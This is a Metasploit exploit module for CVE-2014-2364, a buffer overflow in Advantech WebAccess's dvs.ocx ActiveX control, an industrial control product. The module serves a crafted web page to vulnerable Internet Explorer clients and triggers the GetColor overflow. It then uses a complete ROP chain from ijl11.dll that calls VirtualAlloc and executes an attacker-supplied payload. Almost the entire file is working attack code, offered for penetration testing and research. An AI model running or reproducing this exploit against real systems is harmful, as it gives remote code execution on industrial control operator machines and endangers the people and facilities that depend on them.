Advantech WebAccess dvs.ocx GetColor Buffer Overflow

##

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info = {})

super(update_info(info,

'Name' => 'Advantech WebAccess dvs.ocx GetColor Buffer Overflow',

'Description' => %q{

This module exploits a buffer overflow vulnerability in Advantec WebAccess. The

vulnerability exists in the dvs.ocx ActiveX control, where a dangerous call to

sprintf can be reached with user controlled data through the GetColor function.

This module has been tested successfully on Windows XP SP3 with IE6 and Windows

7 SP1 with IE8 and IE 9.

},

'License' => MSF_LICENSE,

'Author' =>

[

'Unknown', # Vulnerability discovery

'juan vazquez' # Metasploit module

],

'References' =>

[

['CVE', '2014-2364'],

['ZDI', '14-255'],

['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-198-02']

],

'DefaultOptions' =>

{

'Retries' => false,

'InitialAutoRunScript' => 'migrate -f'

},

'BrowserRequirements' =>

{

:source => /script|headers/i,

:os_name => Msf::OperatingSystems::WINDOWS,

:ua_name => /MSIE/i,

:ua_ver => lambda { |ver| Gem::Version.new(ver) < Gem::Version.new('10') },

:clsid => "{5CE92A27-9F6A-11D2-9D3D-000001155641}",

:method => "GetColor"

},

'Payload' =>

{

'Space' => 1024,

'DisableNops' => true,

'BadChars' => "\x00\x0a\x0d\x5c",

# Patch the stack to execute the decoder...

'PrependEncoder' => "\x81\xc4\x9c\xff\xff\xff", # add esp, -100

# Fix the stack again, this time better :), before the payload

# is executed.

'Prepend' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]

"\x83\xC0\x08" + # add eax, byte 8

"\x8b\x20" + # mov esp, [eax]

"\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000

},

'Platform' => 'win',

'Arch' => ARCH_X86,

'Targets' =>

[

[ 'Automatic', { } ]

],

'DefaultTarget' => 0,

'DisclosureDate' => 'Jul 17 2014'))

end

def on_request_exploit(cli, request, target_info)

print_status("Requested: #{request.uri}")

content = <<-EOS

<html>

<head>

<meta http-equiv="cache-control" content="max-age=0" />

<meta http-equiv="cache-control" content="no-cache" />

<meta http-equiv="expires" content="0" />

<meta http-equiv="expires" content="Tue, 01 Jan 1980 1:00:00 GMT" />

<meta http-equiv="pragma" content="no-cache" />

</head>

<body>

<object classid='clsid:5CE92A27-9F6A-11D2-9D3D-000001155641' id='test' /></object>

<script language='javascript'>

test.GetColor("#{rop_payload(get_payload(cli, target_info))}", 0);

</script>

</body>

</html>

EOS

print_status("Sending #{self.name}")

send_response_html(cli, content, {'Pragma' => 'no-cache'})

end

# Uses gadgets from ijl11.dll 1.1.2.16

def rop_payload(code)

xpl = rand_text_alphanumeric(61) # offset

xpl << [0x60014185].pack("V") # RET

xpl << rand_text_alphanumeric(8)

# EBX = dwSize (0x40)

xpl << [0x60012288].pack("V") # POP ECX # RETN

xpl << [0xffffffff].pack("V") # ecx value

xpl << [0x6002157e].pack("V") # POP EAX # RETN

xpl << [0x9ffdafc9].pack("V") # eax value

xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN

xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10

xpl << [0x60018084].pack("V") # POP EBP # RETN

xpl << rand_text_alphanumeric(4) # padding

xpl << [0x60029f6c].pack("V") # .data ijl11.dll

xpl << [0x60012288].pack("V") # POP ECX # RETN

xpl << [0x60023588].pack("V") # ECX => (&POP EBX # RETN)

xpl << [0x6001f1c8].pack("V") # push edx # or al,39h # push ecx # or byte ptr [ebp+5], dh # mov eax, 1 # ret

# EDX = flAllocationType (0x1000)

xpl << [0x60012288].pack("V") # POP ECX # RETN

xpl << [0xffffffff].pack("V") # ecx value

xpl << [0x6002157e].pack("V") # POP EAX # RETN

xpl << [0x9ffdbf89].pack("V") # eax value

xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN

xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10

# ECX = flProtect (0x40)

xpl << [0x6002157e].pack("V") # POP EAX # RETN

xpl << rand_text_alphanumeric(4) # padding

xpl << [0x60029f6c].pack("V") # .data ijl11.dll

xpl << [0x60012288].pack("V") # POP ECX # RETN

xpl << [0xffffffff].pack("V") # ecx value

0x41.times do

xpl << [0x6001b8ec].pack("V") # INC ECX # MOV DWORD PTR DS:[EAX],ECX # RETN

end

# EAX = ptr to &VirtualAlloc()

xpl << [0x6001db7e].pack("V") # POP EAX # RETN [ijl11.dll]

xpl << [0x600250c8].pack("V") # ptr to &VirtualAlloc() [IAT ijl11.dll]

# EBP = POP (skip 4 bytes)

xpl << [0x6002054b].pack("V") # POP EBP # RETN

xpl << [0x6002054b].pack("V") # ptr to &(# pop ebp # retn)

# ESI = ptr to JMP [EAX]

xpl << [0x600181cc].pack("V") # POP ESI # RETN

xpl << [0x6002176e].pack("V") # ptr to &(# jmp[eax])

# EDI = ROP NOP (RETN)

xpl << [0x60021ad1].pack("V") # POP EDI # RETN

xpl << [0x60021ad2].pack("V") # ptr to &(retn)

# ESP = lpAddress (automatic)

# PUSHAD # RETN

xpl << [0x60018399].pack("V") # PUSHAD # RETN

xpl << [0x6001c5cd].pack("V") # ptr to &(# push esp # retn)

xpl << code

xpl.gsub!("\"", "\\\"") # Escape double quote, to not break javascript string

xpl.gsub!("\\", "\\\\") # Escape back slash, to avoid javascript escaping

xpl

end